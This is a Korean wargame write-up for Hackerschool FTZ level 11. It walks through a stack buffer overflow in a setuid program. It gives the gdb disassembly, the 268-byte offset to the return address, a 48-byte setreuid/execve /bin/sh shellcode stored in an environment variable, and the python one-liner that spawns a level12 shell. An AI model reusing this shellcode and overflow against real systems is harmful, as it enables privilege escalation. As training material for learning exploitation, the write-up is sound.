ID : level11
PW : what!@#$?
level11 접속 @_@
[level11@ftz level11]$ ls -al
total 96
drwxr-xr-x 4 root level11 4096 Mar 19 2003 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rwsr-x--- 1 level12 level11 13733 Mar 8 2003 attackme
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root level11 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root level11 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root level11 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root level11 400 Jan 25 1999 .cshrc
-rw-r--r-- 1 root level11 4742 Jan 25 1999 .emacs
-r--r--r-- 1 root level11 319 Jan 25 1999 .gtkrc
-rw-r--r-- 1 root level11 100 Jan 25 1999 .gvimrc
-rw-r----- 1 root level11 168 Mar 8 2003 hint
-rw-r--r-- 1 root level11 226 Jan 25 1999 .muttrc
-rw-r--r-- 1 root level11 367 Jan 25 1999 .profile
drwxr-xr-x 2 root level11 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level11 4096 Sep 13 23:00 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root level11 4145 Jan 25 1999 .vimrc
-rw-r--r-- 1 root level11 245 Jan 25 1999 .Xdefaults
attackme라는 실행파일과 hint파일이 보입니다.
힌트를 읽어봅시다.
[level11@ftz level11]$ cat hint
#include
#include
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
먼저, 인자를 받아 그 인자를 str변수에 복사하는 코드인 것을 알 수 있습니다.
이때, 복사되는 인자의 크기를 지정해주지 않았기 때문에 버퍼 오버 플로우가 발생하게 됩니다.
[level11@ftz level11]$ ./attackme aaa
aaa
[level11@ftz level11]$
실행을 하게 되면 인자를 받아 str변수에 복사한 후, 출력하는 것을 볼 수 있습니다.
GDB로 attackme 파일을 분석해봅시다.
[level11@ftz level11]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
strcpy 함수가 실행되기 전, 인자를 쌓아주는 과정에서 str변수의 주소 거리를 구할 수 있습니다.
str : ebp-264
아무 값이나 264 + SFP(4) byte, 총 268byte를 채우면 RET를 조작할 수 있습니다.
RET에 쉘코드가 저장된 주소를 넣어줄건데, 먼저 우리에겐 쉘코드가 필요합니다.
우리는 구글링하면 나오는 48byte 쉘코드를 사용하겠습니다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
* 쉘코드 만드는 방법 : 준비중
이 쉘코드를 먼저 환경변수에 등록할 것입니다.
* 환경변수 (export)
OS가 필요한 정보를 메모리에 등록해 놓고 필요할 때마다 참조하는 영역을 의미한다.
일반 사용자도 필요할 것이 있다면 여기에 등록해서 사용이 가능.
이곳에 등록된 데이터는 고정적인 메모리주소를 가지고 있게 된다.
* 환경변수 등록
export [환경변수명]=$(python -c 'print "쉘코드"')
바로 쉘코드를 환경변수에 등록해봅시다.
[level11@ftz level11]$ export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
잘 올라갔는지 확인해봅시다.
[level11@ftz level11]$ export
declare -x BASH_ENV="/home/level11/.bashrc"
declare -x G_BROKEN_FILENAMES="1"
declare -x HISTSIZE="1000"
declare -x HOME="/home/level11"
declare -x HOSTNAME="ftz.hackerschool.org"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US.UTF-8"
declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="level11"
declare -x LS_COLORS="no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:"
declare -x MAIL="/var/spool/mail/level11"
declare -x OLDPWD="/home/level11/tmp"
declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level11/bin"
declare -x PS1="[\\u@\\h \\W]\$ "
declare -x PWD="/home/level11"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="192.168.10.1 5695 22"
declare -x SSH_CONNECTION="192.168.10.1 5695 192.168.10.244 22"
declare -x SSH_TTY="/dev/pts/2"
declare -x TERM="xterm"
declare -x USER="level11"
declare -x env="1육1??횋?육F?1픐h//shh/bin??S??째
?1육?"
[level11@ftz level11]$
이제 코드를 짜서 올라간 환경변수의 주소를 얻을 수 있습니다.
tmp폴더로 가서 바로 짜봅시다.
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ vi env.c
#include<stdio.h>
int main(){
printf("%p\n",getenv("env"));
return 0;
}
컴파일 후 실행해봅시다.
[level11@ftz tmp]$ gcc -o env env.c
[level11@ftz tmp]$ ls
env env.c
[level11@ftz tmp]$ ./env
0xbfffff54
이제 모든 준비가 끝났습니다.
위에서 구한대로 str변수의 시작에서 RET 시작까지의 거리는 268byte입니다.
이후 최종적으로 RET에 0xbfffff54를 넣게 되면 쉘을 딸 수 있는 것이죠.
바로 한번 입력해봅시다.
[level11@ftz level11]$ ./attackme `python -c 'print "A"*268 + "\x54\xff\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
uid가 level12인 것을 확인할 수 있습니다.
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is
sh-2.05b$
level11 clear!